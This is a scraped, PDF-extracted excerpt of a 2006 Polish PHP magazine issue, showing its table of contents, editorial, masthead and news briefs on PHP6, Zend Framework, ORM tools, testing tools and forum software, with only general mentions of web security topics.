PHP Solutions 03 2006 PL

Published on February 2017 | Categories: Documents | Downloads: 60 | Comments: 0 | Views: 1342
of 84
Download PDF   Embed   Report

Comments

Content

Spis treści

POCZĄTKI
Co nowego w PHP6?
Richard Davey

18

Będzie się działo...
oś wisi w powietrzu – chciało by się rzec. Wielkimi krokami zbliża się PHP6, Oracle kupuje Zenda – jedyną prawdziwą „firmę od PHP”, a Microsoft szkoli i egzaminuje deweloperów technologii Open Source, w tym PHP. Już teraz w siedzibach Microsoftu na całym świecie możemy zdobyć tytuł Zend Certified Engineer. Czy nadchodzi więc rewolucja? Czy wydarzenia te zwiastują jakieś zmiany? I tak i nie. PHP6 nie przyniesie totalnie przełomowych rozwiązań. Będzie to raczej ewolucja, ale starannie zaplanowana, przemyślana i jak najbardziej potrzebna. O tym, co się zmieni w PHP, a co nie, przeczytacie w artykule Richarda Davey'a, Co nowego w PHP6? Z drugiej strony, mianem rewolucyjnego przedsięwzięcia określiłbym Zend Collaboration Project, a w szczególności Zend PHP Framework. Faktem jest, że kolejne frameworki dla PHP powstają prawie jak grzyby po deszczu, ale wybór odpowiedniego narzędzia nadal jest bardzo trudny i często kończy się porażką, szczególnie w przypadku programistów, którzy po takie rozwiązanie sięgają po raz pierwszy. Zend PHP Framework jest szansą dla deweloperów na wybór profesjonalnego, solidnego i rozwijanego narzędzia z odpowiednim wsparciem ze strony deweloperów. Na pewno zainteresuje się nim wiele firm, którym brakowało do tej pory dobrego frameworka klasy Enterprise. Rozczarowuje natomiast druga część Zend Collaboration Project: Zend Developer Zone. W zamyśle twórców miało być to Centrum dla Deweloperów PHP. Już teraz znajdziemy tam ciekawe artykuły, m.in. o wzorcach projektowych, ale po wejściu na forum zamiast prawdziwej dyskusji deweloperów zastaniemy już tylko puste reklamy komercyjnych produktów Zenda, co źle wróży całemu przedsięwzięciu. Pozostaje mieć tylko nadzieję, że takie Centrum kiedyś powstanie, jak nie teraz to w najbliższej przyszłości. Pustki z całą pewnością nie zastaniecie w magazynie PHP Solutions. W obecnym wydaniu przeczytacie ciekawy wywiad z Ilia Alshanetskym, dowiecie się, jak zbudowano pierwszy system operacyjny w PHP i przekonacie się, że małżeństwo PHP i Pythona daje wiele korzyści. Powiemy też o streamingu audio z poziomu PHP, zatruwaniu sesji i przedstawimy trzy kolejne wzorce projektowe. Gorąco zapraszam do lektury

C

Jedenastego listopada, 2005 roku w Paryżu odbyło się spotkanie twórców platformy PHP. Kluczowym elementem spotkania była dyskusja nad wyznaczeniem przyszłych kierunków rozwoju dla tej technologii.

TECHNIKI
Strumieniowa transmisja dźwięku przez HTTP z wykorzystaniem Ampache
Karl Vollmer Do stworzenia portalu multimedialnego nie trzeba drogich, komercyjnych, wydzielonych serwerów. Wystarczą PHP, serwer Apache oraz baza MySQL.

22

Wzorce projektowe w akcji, czyli ciąg dalszy Niezbędnika dewelopera PHP
Piotr Szarwas

28

Czytelny i przejrzysty kod. Elastyczna i w każdym momencie gotowa na rozbudowę architektura. Bogata, dne omówione w tym artykule wzorce projektowe.

NARZĘDZIA
Projekt eyeOS: rewolucja w interfejsach webowych PHP
Steven Mautone i Pau Garcia-Milà Wyobraźmy sobie, że nasze aplikacje webowe są elastyczne i umożliwiają uruchamianie wielu aplikacji w jednym oknie przeglądarki – w ramkach o dowolnym rozmiarze, które można przeciągać, minimalizować i przywracać. Wyobraźmy sobie pulpit WWW z paskiem zadań i koszem na śmieci...

36

DBDesigner 4 odpowiednik Oracle 42 Designera
Pierre Hebel Poprawne modelowanie danych jest gwarancją skuteczności podczas formuowania zapytań do waszej bazy danych. DBDesigner 4 pozwala mieć globalny, graficzny i bardzo precyzyjny widok szczególnie na dużych strukturach danych.

Nasz magazyn ukazuje się w czterech językach!
polskim
niemieckim francuskim włoskim

Lokalizacja w PHP przy użyciu standardu TMX
Nicola Asuni

50

Jeśli jesteś zainteresowany zakupem licencji na wydawanie naszych pism prosimy o kontakt: Monika Godlewska [email protected] tel.: 48 22 887 12 66, fax: 48 22 887 10 11

Wyobraź sobie, że jesteś głównym programistą w zespole budującym olbrzymią aplikację, która jako produkt przeznaczony na rynek globalny musi wspierać dziesięć różnych języków. Dzięki TMX podczas tłumaczeń nie pojawią się żadne „przypadkowe” błędy, zaś Twój kod pozostanie nienaruszony.

4

www.phpsolmag.org

PHP Solutions Nr 3/2006

PROJEKTY
ImageVault: Ograniczanie dostępu do plików 56 multimedialnych w PHP
Patrick O’Brien Każdy chyba ma jakieś prywatne zdjęcia, którymi chciałby się podzielić, ale które wolałby jednocześnie ukryć przed wścibskim ogółem internautów. Cel ten można łatwo osiągnąć.

Spis treści

Pytania dotyczące prenumeraty

Mariaż Pythona i PHP. Tworzymy interfejs graficzny z wykorzystaniem SOAP
Krzysztof Sobolewski

tel. (22) 887 14 44 e-mail: [email protected] Software Wydawnictwo Sp. z o.o. dział prenumeraty ul. Piaskowa 3 01-067 Warszawa

62

CD

Strona WWW/Forum

PHP słynie z oprogramowania serwerowego, Python – z możliwości łatwego tworzenia rozbudowanych aplikacji klienckich, Łacząc możliwości obu języków w prosty sposób otrzymamy potężną i funkcjonalną aplikację typu klient-serwer.

tel. (22) 887 14 44 e-mail: [email protected] Software Wydawnictwo Sp. z o.o. Defekty CD/DVD ul. Piaskowa 3 01-067 Warszawa

strona www: www.phpsolmag.org Tu znajdą Państwo informacje dotyczące aktualnych i przyszłych numerów magazynu PHP Solutions. Forum: www.phpsolmag.org/newforum Zachęcamy do dyskusji na naszym forum. Czekamy na propozycje tematów, które chcieliby Państwo znaleźć w najbliższym numerze pisma. Zapraszamy także do wymiany poglądów z innymi fanami PHP.

Zamówienia /Numery archiwalne

tel. (22) 887 14 44 e-mail: [email protected] sklep on-line: www.shop.software.com.pl

BEZPIECZEŃSTWO
Techniki zatruwania sesji w PHP
Jakub Mrugalski Słyszałeś o przechwytywaniu i modyfikowaniu zmiennych POST, GET i COOKIES i myślisz, że wystarczy zamiast z nich korzystać z sesji, aby odgrodzić się murem od niebezpieczeństw. Rzeczywistość jest znacznie gorsza: to, co wydaje się być ścianą warowni, jest zaledwie parawanem, który bardzo łatwo naruszyć.

Kontakt z redakcją
72

e-mail: [email protected] Software Wydawnictwo Sp. z o.o. Redakcja PHP Solutions ul. Piaskowa 3 01-067 Warszawa

Cena

Prenumerata: 135 zł Przelew na konto nr: 46 1440 1299 0000 0000 0391 8238 Nordea Bank Polska S.A. II Oddział w Warszawie

Wyróżnieni betatesterzy: Krzysztof Trynkiewicz, Kamil Kaczmarczyk, Łukasz Witczak, Łukasz Jasiński, Tomasz Skaraczyński, Przemysław Sobstel.

PHP Solutions jest wydawany przez Software-Wydawnictwo Sp. z o.o. Dyrektor Wydawniczy: Jarosław Szumski Market Manager: Sylwia Tuśnio [email protected] Product Manager: Maciej Krawcewicz [email protected] Redaktor prowadzący: Dariusz Pawłowski [email protected] Redaktor : Krzysztof Sobolewski [email protected] Stali współpracownicy: Paweł Kozłowski [email protected], Paweł Grzesiak [email protected] Kierownik produkcji: Marta Kurpiewska [email protected] Projekt okładki: Agnieszka Marchocka Skład i łamanie: Sławomir Zadrożny [email protected] Dział reklamy: [email protected] Prenumerata: Marzena Dmowska [email protected] Nakład: 6 000 egz. Adres korespondencyjny: Software-Wydawnictwo Sp. z o.o., ul. Piaskowa 3, 01-067 Warszawa, Polska tel. +48 22 887 10 10, fax +48 22 887 10 11 www.phpsolmag.org [email protected] Dołączoną do magazynu płytę CD przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o. Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje także poprawnego działania programów shareware, freeware i public domain. Uszkodzone podczas wysyłki płyty wymienia redakcja. Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm i zostały użyte wyłącznie w celach informacyjnych. Redakcja używa systemu automatycznego składu Do tworzenia wykresów i diagramów wykorzystano program firmy

PEAR
Generowanie kodu XML za pomocą XML_Serializer
Aaron Wormus W artykule pokażemy zastosowanie PEAR-owy pakiet do generowania dokumentów XML.

76

VARIA
Wywiad z Ilią Alshanetskym
Dariusz Pawłowski

16

Aktualności Opis CD Recenzje

6 12 59

Osoby zainteresowane współpracą prosimy o kontakt: [email protected] Druk: ArtDruk Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem. Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową. Pismo ukazuje się w następujących wersjach językowych: polskiej , francuskiej , niemieckiej oraz włoskiej

Listingi wszystkich opisywanych programów zostały zamieszczone na naszej stronie internetowej www.phpsolmag.org/pl.

.

PHP Solutions Nr 3/2006

www.phpsolmag.org

5

Aktualności
Million Dollar Homepage
Student z Wielkiej Brytanii zarobił ponad milion dolarów sprzedając pod reklamę powierzchnię miliona pikseli na swojej stronie WWW. Na ostatniej aukcji sprzedał ostatnie tysiąc pikseli za ponad 38 tyś dolarów. Wykupione reklamy będą wisieć na stronie przez najbliższe pięć lat. Reklamodawcy mogą być zadowoleni – stronę odwiedza dziennie ok. 500 tyś użytkowników. Jest to kolejny dowód na szybki i łatwy sukces w dobie wszechogarniającego Internetu. Student zakończył naukę i postanowił zainwestować zdobyte pieniądze. http://www.milliondollarhomepage.com/

PHP Collaboration Project: Zend PHP Framework

T

Oracle przejmuje PHP

Pojawiły się informacje, że Oracle postanowił kupić 3 firmy tworzące oprogramowanie Open Source: JBoss, Zend Technologies i Sleepycat. Ma to związek z rosnącym zainteresowaniem narzędziami i produktami Open Source wśród klientów korporacyjnych Oracle. http://news.com.com/2061-10795_36037727.html

The New York PHP Conference & Expo 2006

W dniach 14-16 lipca w Nowym Yorku odbędzie się konferencja poświęcona w głównej mierze zastosowaniom PHP w biznesie. Trzy dni sesji, wykładów, warsztatów i targów mają podkreślić rolę PHP w biznesowych aplikacjach Open Source. Nie zabraknie też czysto technicznych wykładów dla deweloperów, które poświęcone będą rozwiązaniom tworzonym w PHP i dla PHP. Magazyn PHP Solutions jest patronem medialnym konferencji. http://www.nyphpcon.com/

rudno połapać się w gąszczu tak wielu dostępnych w sieci frameworków dla PHP, szczególnie początkującym i średniozaawansowanym programistom PHP. Nie wiadomo, które rozwiązanie wybrać, które okaże się łatwe w nauce i intuicyjne, czy w końcu, jakie są zastosowania konkretnego narzędzia. Sen z powiek spędzają obawy, że czas potrzebny na naukę danego frameworka okaże się stracony lub wybrany projekt zostanie zawieszony i nie będzie dalej rozwijany. Na szczęście ukazał się długo oczekiwany framework firmy Zend. Mimo że projekt jest nowy i znajduje się w fazie beta, to jednak sprawdzony, solidny i stworzony przez znanych deweloperów PHP z wykorzystaniem najlepszych praktyk programistycznych. Jednym słowem, projekt, któremu można z pewnością zaufać i zainwestować czas w jego rzetelne poznanie. Wśród dostępnych komponentów można wymienić m.in.: • • • Zend_Controller oraz Zend_Viev (fundament dla MVC), Zend_db (dostęp do bazy danych oparty na PDO), Zend_Json (odpowiedzialny za konwertowanie struktur PHP na format

• • • •

JSON, tak aby następnie wykorzystać je z poziomu AJAX-a), Zend_Mail i Zend_Mime (obsługa poczty), Zend_Pdf (generowanie PDF-ów w locie), Zend_HttpClient (klient protokołu HTTP), Zend_Search_Lucene (silinik wyszukiwarki napisany na podstawie podobnego projektu w Javie).

Web Technology conference and Expo

Zend Framework razem z Zend Developer Zone i Eclipse PHP IDE tworzą PHP Collaboration Project, który ma na celu podniesienie jakości programowania i oprogramowania Open Source tworzonego w PHP. Licencja: http://framework.zend.com/ framework_license_1.0.txt http://www.zend.com/php_collaboration_project

W dniach 30 czerwca – 1 lipca w Bułgarii odbędzię się trzecia edycja konferencji poświęconej technologiom internetowym mającym zastosowanie w biznesie i edukacji. W ramach wykładów omówione zostaną tendencje i główne kierunki rozwoju technik internetowych, takich jak PHP, .NET czy Apache::ASP. http://wtconferences.com/2006/

PHP Conference UK

PHP Collaboration Project: Zend Developer Zone

Dnia 10 lutego w Londynie odbyła się krótka konferencja w całości poświęcona językowi PHP. Prelegentami byli Matt Zandstra (The Template Path), Derick Rethans (The eZ PHP Components Library – Object Oriented PHP), Christopher Kunz (PHP Security Holes and the Hardened PHP Project), Harry Fuecks ("AJAX@localhost") i Paweł Kozłowski (Dependency Injection with PHP – Object Oriented PHP) – nasz stały współpracownik i autor wielu opublikowanych u nas artykułów. Magazyn PHP Solutions był patronem medialnym imprezy. http://www.phpconference.co.uk/2006/

N

JSON (JavaScript Object Notation)

JSON to lekki format wymiany danych, który w odróżnieniu od XML-a może być przetwarzany w języku JavaScript w łatwy sposób (z wykorzystaniem wbudowanej funkcji eval() ). JSON jest szczególnie przydatny przy wymianie danych w aplikacjach opartych o AJAX. Jest szybszy i łatwiejszy do parsowania niż XML. Wielu deweloperów uważa, że jest bardziej naturalny od XML-a, inni twierdzą, że jego skąpa notacja jest myląca. Format JSON wykorzystywany jest już przez nowy Framework Zenda (zawiera komponent Zend_Json, odpowiedzialny za konwertowanie struktur PHP na JSON, aby potem można było skorzystać z AJAX-a) http://json.org/

ie ma chyba jednego miejsca będącego sieciowym centrum dla deweloperów PHP. Jest kilkanaście godnych uwagi portali o PHP, gdzie znajdziemy trochę newsów czy przykładów. Są też miejsca, w których informacji mogą szukać profesjonaliści – np. sitepoint.com czy blogi znanych deweloperów PHP. Trudno jednak nie odnieść wrażenia, że to tylko “kolejne” strony o PHP. W efekcie, żeby znaleźć konkretne informacje, zasypujemy hasłami przeglądarkę google.com. Tak jednak być nie musi: Zend wyszedł z ciekawą i potrzebną inicjatywą stworzenia Developer Zone dla programistów PHP. Już teraz możemy znaleźć tam sporo ciekawych artykułów, np.: Choosing the Right PayPal Solution, czy serię PHP Patterns, której autorem jest Matt Zandstra. Jest też miejsce na tutoriale (póki co, nie ma ich za dużo) i przykładowe skrypty.

Z drugiej strony na forum dyskusyjnym Zend Developer Zone widać jedynie topiki związane z komercyjną działalnością firmy Zend (Zend Studio, Zend Platfrom, Zend core for IBM itd.), co źle wróży całemu przedsięwzięciu. Miejmy jednak nadzieję, że Developer Zone stanie sie popularne i będzie cennym źródłem informacji dla deweloperów PHP. Miejsce w sieci, które stałoby się centrum dla programistów PHP jest czymś czego naprawdę obecnie brakuje.

http://devzone.zend.com/

6

www.phpsolmag.org

PHP Solutions Nr 3/2006

Aktualności
PHP-Qt, czyli graficzne interfejsy nie z tej Ziemi
PHPUnit 3.0

P

HP-Qt to nowe rozszerzenie dla PHP 5 pozwalające na wykorzystanie biblioteki Qt i tworzenie zaawansowanych interfejsów graficznych w PHP. Qt jest w pełni obiektową biblioteką stworzoną z myślą o C++, która pozwala na wykorzystanie nowoczesnych technologii programowania GUI (mechanizmy sygnałów i slotów, widgety, systemy zdarzeń). Rozszerzenie PHP-Qt zapewnia obiektowy interfejs dla frameworka Qt4. Do uruchomienia środowiska PHP-Qt będziemy potrzebowali: • • • PHP 5.1.1+, Qt4 development/pliki nagłówkowe, skompilowaną bibliotekę Qt4 .

W nowej wersji PHPUnit, która ma ukazać się w najbliższym czasie, przewidziano między innymi wsparcie dla Mock Objects (imitacji obiektów), dzięki którym możliwe jest symulowanie dowolnych klas poprzez tworzenie ich imitacji, co ułatwia przeprowadzanie testów jednostkowych. Wiele ulepszeń powstało podczas Unit Testów dla Zend Framework. Przewidziano też wsparcie dla protokołu Test Anything Protocol (TAP). Wsparcie dla nowej wersji PHPUnit szykują też deweloperzy PHPEclipse i Zend Studio. http://www.sebastian-bergmann.de/blog

Aspect-Oriented Programming i PHP

Niestety dokumentacja (http://doc.trolltech. com/4.0/index.html) odnosi się tylko do samego Qt i jego wykorzystania z poziomu języka C++. Archiwum PHP-Qt zawiera 6 wprowadzających tutoriali. Projekt znajduje się jeszcze w fazie alfa.

AOP to paradygmat, według którego najważniejsza jest modularyzacja i enkapsulacja kodu. Dla PHP powstają proste rozszerzenia pozwalające stosować AOP, co jest szczególnie zalecane przy dużych projektach. Do najważniejszych rozszerzeń można zaliczyć: aoPHP (http://www.aophp.net/), apsectPHP (http://www.cs.toronto.edu/ ~yijun/aspectPHP/), phpaspect (http: //www.phpaspect.org/), AOP Library for PHP (http://www.phpclasses.org/browse/ package/2633.html) czy Seasar.PHP (http: //www.seasar.org/)

Licencja: LGPL http://php-qt.berlios.de/

SimpleTest kontra PHPUnit2

PHOCOA – framework dla zaawansowanych

P

HOCOA to w 100% obiektowy, sterowany zdarzeniami, oparty o komponenty i MVC framework dla PHP 5. Projekt jest wzorowany na rozwiązaniach Apple'a: Cocoa i WebObjects. PHOCOA wykorzystuje Smarty i Phinga (http://phing.info). Zintegrowany jest z Propelem, FCK Editorem, DynarchMenu CSS/JS Menu, czy z Dieselpoint (aplikacja w Javie do nawigacji i wyszukiwnia) co wymaga obecności PHP/Java Bridge. Framework oferuje bardzo wiele: od mających ogromne zastosowanie i praktycznych widgetów (Widget Toolkit), takich jak WFTextField, WFTextArea, WFHTMLArea) przez mechanizmy normalizacji, walidacji danych oraz kontroli błędów, aż po przyjazne URL-e. PHOCOA zapewnia też mechanizmy dowiązania (ang. bindings), efektywne dzielenie da-

Blog Sebiastiana Bergmana, twórcy PHPUnit, zawiera krótkie porównanie dwóch najważniejszych i najbardziej znanych narzędzi do przeprowadzania testów jednostkowych: SimpleTest i PHPUnit. Znajdziemy tam odwołanie do strony deweloperów frameworka Agavi, którzy sprobowali użyć obu narzędzi, wybierając ostatecznie SimpleTest. Swoje argumenty podali na stronie: http://trac.agavi.org/trac.cgi/ wiki/UnitTested. Bergman polemizuje z tymi argumentami. http://www.sebastian-bergmann.de/

Microsoft szkoli deweloperów PHP

nych na strony i zaawansowane wyszukiwanie. Pozwala też na automatyczne generowanie kodu np. interfejsu użytkownika (Interface Builder) na podstawie obiektów z Propela. Oferuje rozbudowane mechanizmy uwierzytelniania i autoryzacji. Na stronie projektu dostępna jest dokumentacja wraz z przykładami. Plany twórców frameworka są bardzo obszerne i ambitne, m.in.: zmiany w architekturze, internacjonalizacja, więcej przykładów i obszerniejsza dokumentacja. Deweloperzy projektu oferują też komercyjne wparcie. Licencja: MIT License http://phocoa.com/ http://developer.apple.com/cocoa/ http://developer.apple.com/tools/ webobjects/index.html http://phing.tigris.org/

Microsoft rozpoczął współprace z Zendem i przeprowadza egzaminy na Zend Certified Engineer. Gigant prowadzi też kompleksowe szkolenia pod nazwą Cross Training for Web Developers dla programistów PHP, JSP czy ColdFusion. Na stronie znajdziemy tutoriale dla wymienionych technologii, niestety raczej dla początkujących. Wygląda na to Microsoft nie odwraca się od konkurencji, tylko bierze coraz większy udział w rozwijaniu technologii, narzędzi i usług związanych z Open Source. http://aspnet.cmp.com/

Zostań Freelancerem od PHP, czyli PHP Job Links

Jeśli szukasz pomysłów, jak wykorzystać swoje umiejętności i zapał w tworzeniu aplikacji WWW, sprawdź stronę: http: //www.phpkitchen.com/index.php?/archives/ 670-PHP-Freelance.html. Znajdziesz tam oferty firm, które chętnie zatrudnią Cie na zasadzie Freelancera. Warto odwiedzić wymienione na liście strony, chociażby po to, by przekonać się, jakie projekty obecnie najczęściej się rozwija i w co warto inwestować swoje umiejętności i czas.

IntSmarty

IntSmarty to rozszerzenie dla systemu szablonów Smarty pozwalające na łatwe tworzenie wielojęzycznych stron WWW. Ułatwia ono wspólną pracę programistom, grafikom i tłumaczom. Rozszerzenie zostało stworzone przez Johna Coggeshalla. Licencja: Coggeshall.org http://www.coggeshall.org/oss/intsmarty/

PHP Solutions Nr 3/2006

www.phpsolmag.org

7

Aktualności
Kupu i Bitflux, czyli edytory na każdą przeglądarkę

Bezpieczeństwo AJAX-a

Kupu i Bitflux to chyba jedyne edytory Open Source typu WYSWIG wspierane zarówno przez Internet Explorer, jak i Mozillę. Pierwszy to edytor XHTML, drugi służy do edycji i walidacji XML-a. Kupu łatwo integruje się z dowolnym systemem CMS, jest rozszerzalny i tworzy czysty oraz zgodny ze standardem kod XHTML (bazuje na CSS). Bitfluxowi pod względem funkcjonalnym również niczego nie można zarzucić. Obie pozycje są warte uwagi i polecenia. http://www.oscom.org/projects/

A

Zend Framework w Gentoo Linux

Gentoo Linux to dystrybucja Linuksa z jednym z najbogatszych, jeśli nie najbogatszym repozytorium pakietów. Każdy pakiet zainstalować można jednym poleceniem, system sam zatroszczy się o zainstalowanie zależnych pakietów. Do repozytorium (drzewa portage) Gentoo trafił Framework Zenda i jest teraz dostępny dla wszystkich użytkowników tej dysrybucji. http://www.sebastian-bergmann.de/blog/ archives/581-Zend-Framework-in-Gentoo-Linux.html

JAX umożliwia tworzenie interaktywnych i bogatych interfejsów webowych, przez co stał się ostatnio ogromnie popularny i obecnie korzysta z niego coraz więcej aplikacji. Okazuje się jednak, że wykorzystanie tej technologii może nieść poważne zagrożenia. Do ataku agresor może wykorzystać obiekt XMLHttpRequest, podglądając kod wyświetlonej strony (ustalając, jaką stronę wywołujemy i jakie parametry przesyłamy) i wstrzykując odpowiedni skrypt. Można się jednak przed tym bardzo łatwo zabezpieczyć, wystar-

czy przestrzegać kilku prostych, fundamentalnych zasad: • • • • • • sprawdzać podatność na ataki SQL injections, sprawdzać podatność na JavaSrcipt injections, przenieść logikę biznesową na stronę serwera, przeprowadzać walidację danych, sprawdzać nagłówki zapytań HTTP, nie traktować każdego zapytania jako prawdziwego.

http://searchwebservices.techtarget.com/

WinBinder v.0.43 alfa

ADOdb Active Record

ADOdb_Active_Record to narzędzie ORM (Object Relation Mapping) podobne do Zend_ Db_DataObject, tylko stworzone dla ADOdb. ADOdb_Active_Record odwzorowuje strukturę bazy danych na klasy w kodzie PHP. Pozwala to w większym stopniu skupić się na danych i kodzie PHP, a mniej na zapytaniach SQL. Wiersz w tabeli odwzorowywany jest przez instancję klasy PHP. Bez problemów mogą być również definiowane relacje. ADOdb_Active_Record opiera się na wzorcu ActiveRecord. Licencja: BSD, LGPL http://phplens.com/lens/adodb/docs-active-record.htm

W

php Free Chat

php Free Chat to prosty czat napisany w PHP. Bazuje na plikach tekstowych i wykorzystuje AJAX m.in do odświeżania strony. System wykorzystuje CSS i jest łatwy w rozszerzaniu. Można napisać własne style CSS, zmieniając w ten sposób całkowicie wygląd interfejsu lub stworzyć rozszerzenie pozwalające na przechowywanie danych np. w MySQL-u. Na stronie domowej projektu można wypróbować wersję demonstracyjną aplikacji. Licencja: LGPL http://www.phpfreechat.net/

BLENC dla PHP 5

BLENC to rozszerzenie dla PHP 5 będące prostym enkoderem pozwalającym na zakodowanie kodu źródłowego aplikacji z wykorzystaniem algorytmu Blowfish. Proces szyfrowania polega na wywołaniu funkcji blenc_encrypt(), która wczytuje kod źródłowy i generuje jego zaszyfrowaną wersję. Rozszerzenie dostępne jest w repozytorium PECL. Licencja: PECL http://pecl.php.net/package/BLENC

inBinder to rozszerzenie dla PHP 4 i PHP 5 pozwalające na tworzenie natywnych aplikacji okienkowych pod Windows. Pierwsze, co przychodzi na myśl, to podobieństwo do innych narzędzi takich jak PHP-GTK. W zakresie tworzenia samych interfejsów WinBinder oferuje podobne możliwości co PHP-GTK: interfejs składamy z widgetów (ang. widgets), zdarzeń (ang. events) i akcji (ang. actions). Tu jednak podobieństwa się kończą. W odróżnieniu od PHP-GTK, WinBinder pozwala na tworzenie kompletnych aplikacji, a nie tylko interfejsów użytkownika. Pakiet oferuje więc wszystkie możliwości PHP, a z drugiej strony zapewnia to co oferuje środowisko Windows. WinBinder umożliwia nawet niskopoziomowy dostęp do zasobów systemu (np. RAM), choć i tak najczęściej wykorzystywane są funkcje związane z implementacją GUI. Rozszerzenie opakowuje (ang. wrapping) natywne funkcje Windows swoimi klasami i funkcjami. Mamy do dyspozycji klasy do tworzenia okienek, przycisków, pól tekstowych, menu, pasków

pecl_http

Pakiet zapewnia rozszerzone wsparcie dla protokołu HTTP. Wspiera URL-e, daty, przekierowania, nagłówki, różne języki i kodowanie. Umożliwia przesyłanie danych z cachowaniem czy wznawianiem transferu np. po przerwaniu połączenia. Może współpracować z CURL-em. Klasy dla PHP 5: HttpUtil, HttpMessage, HttpRequest, HttpRequestPool, HttpDeflateStream, HttpInflateStream, HttpQueryString. Klasy dla PHP 5.1: HttpResponse Licencja: PECL http://pecl.php.net/package/pecl_http

zadań czy np. klasy to łączenia zdarzeń z akcjami zdefiniowanymi przez użytkownika (np. kliknięcie na przycisk powoduje pojawienie się komunikatu). Winbinder umożliwia też tworzenie aplikacji bazodanowych (SQLite, MySQL). W najnowszej wersji biblioteki wprowadzono kilka istotnych zmian. Projekt zaopatrzono w nowy installer (dodano m.in. :SQLite, FreeImage ) i zapewniono nową strukturę folderów. Dodano i zmodyfikowano też kilka funkcji oraz naprawiono wiele błędów. Archiwum WinBindera zawiera wszystko, co potrzeba. Znajdziemy tam binaria, jak i kod źródłowy biblioteki. Deweloperzy załączyli również manual oraz kilka przykładów – od bardzo prostych, jak aplikacja Hello World, do bardziej skomplikowanych, jak np. zalążek edytora GUI.

Najnowsza wersja WinBindera może pracować z PHP 5.1.1. Licencja: BSD http://pecl.php.net/package/winbinder

8

www.phpsolmag.org

PHP Solutions Nr 3/2006

Aktualności
PHP 4.4.2 i PHP 5.1.2

M

imo, że PHP w wersji piątej już od jakiegoś czasu dominuje na serwerach, nie zanosi się póki co, na zamknięcie czwartej linii języka. Jej kolejne wersje wydawane są regularnie, podobnie jak PHP 5. Do najważniejszych zmian w PHP 4.4.2 można zaliczyć: usunięcie problemu związanego z możliwością przeprowadzenia ataków XSS w konkretnych sytuacjach; usunięcie problemów z funkcjami key() and current(); naprawienie błędnego funkcjonowania PHP z Apache 2 na

serwerach nielinuksowych; naprawienie ponad 30 innych błędów. W PHP 5.1.2 również wprowadzono kilka bardzo istotnych zmian: naprawiono pojawiające się w pewnych sytuacjach błędy związane z podatnością na ataki XSS; rozszerzenia Hash i XMLWriter zostały dodane do dystrybucji jako domyślne; zaktualizowano rozszerzenie OCI8; naprawiono ponadto 85 różnych błędów. http://www.php.net

Data Access Object (DAO) Code Generator

DaoGen to generator kodu źródłowego dla klas DAO na bazie wzorca projektowego DAO. Ma za zadanie ułatwić pisanie aplikacji bazodanowych i uwolnić programistę od pisania podstawowych funkcjonalności dla każdej tabeli w bazie danych. W chwili obecnej narzędzie generuje kod dla PHP i Javy. Na stronie projektu mamy możliwość przetestowania narzędzia. Licencja: BSD http://titaniclinux.net/daogen/

EZPDO, lekkie ORM dla PHP
EZPDO to narzędzie ORM dla PHP 5 stworzone w duchu Javowego projektu Hibernate. “EZ” w nazwie oznacza “EASY” -- w odróżnieniu od innych pakietów ORM ma być prostsze i bardziej przyjazne dla programisty. Narzędzie wprowadza własny język: EZOQL (The mini object query language), który odpowiednio rozszerza SQL-owy SELECT. Doskonałą rekomendacją dla EZPDO może być jego zastosowanie we frameworku PRADO czy Symfony. Na stronie projektu znajdziemy dobrą dokumentację, tutoriale, FAQ oraz forum dyskusyjne. W najnowszej wersji 1.1.0 zaimplementowano wsparcie dla transakcji i rozszerzono składnię EZOQL. Licencja: BSD http://www.ezpdo.net

FUDforum – najlepsze darmowe forum w PHP?

Z

całą pewnością FUDforum jest jednym z najlepszych systemów for dyskusyjnych napisanych w PHP, w szczególności pod względem bezpieczeństwa. Śmiało konkuruje z komercyjnymi produktami takimi jak vBulletin czy Invision Power Board. Jego doskonałą rekomendacją jest fakt, że jest używane w takich miejscach jak Zend Developer Zone, czy portale najważniejszych magazynów o PHP. Autorem FUDforum jest Ilia Alshanetsky, jeden z najbardziej znanych deweloperów PHP, autor książki PHP Security Guide, z którym mieliśmy okazję rozmawiać i opublikować wywiad właśnie w tym wydaniu PHP Solutions. Ilia na co dzień zajmuje się tematyką zapewniania bezpieczeństwa aplikacjom WWW i tym samym zabezpiecza FUDforum na wszelkie możliwe sposoby. Oczywiście kwestie bezpieczeństwa to nie wszystko. Forum zaskakuje dużą funkcjonalnością.

Interfejs administratora jest dość rozbudowany (i przez to niestety mało przejrzysty) i przygniata dużą ilością opcji. Administracja forum jest przez to nieco trudniejsza niż np. w przypadku phpBB. Drugim (i chyba ostatnim) minusem FUDforum jest kiepska szata graficzna, co może zniechęcać wielu użytkowników. Reasumując: FUDforum oferuje naprawdę duże możliwości i przeznaczone jest raczej dla bardziej zaawansowanych użytkowników. Jeśli zdecydujecie się na przejście na FUDforum, to za pomocą dostępnych na stronie projektu skryptów możemy dokonać bezbolesnej migracji z najbardziej znanych for takich jak phpBB. Zachowują się wszystkie dane (również uprawnienia użytkowników). Licencja: GPL http://fudforum.org/forum/

eZ Components

Firma eZ systems, znana głównie ze swojego CMS-a eZ publish, wypuściła pakiet eZ Components będący platformą do tworzenia aplikacji klasy Enterprise. Pakiet składa się z niezależnych bloków, które mają przyspieszyć i ułatwić tworzenie wysokiej jakości oprogramowania. Wśród nich znajdują się komponenty do tworzenia archiwum, cacheowania, dostępu do bazy danych (opartego na PDO), debugowania, operowania na plikach graficznych i ich analizy, obsługi poczty elektronicznej, filtrowania danych wejściowych czy komponenty zapewniające dostęp do danych systemowych takich jak (RAM, rodzaj CPU itp). Komponenty wymagają PHP 5.1. Licencja: New BSD. http://ez.no/products/ez_components

Moodle – profesjonalny e-learning za darmo

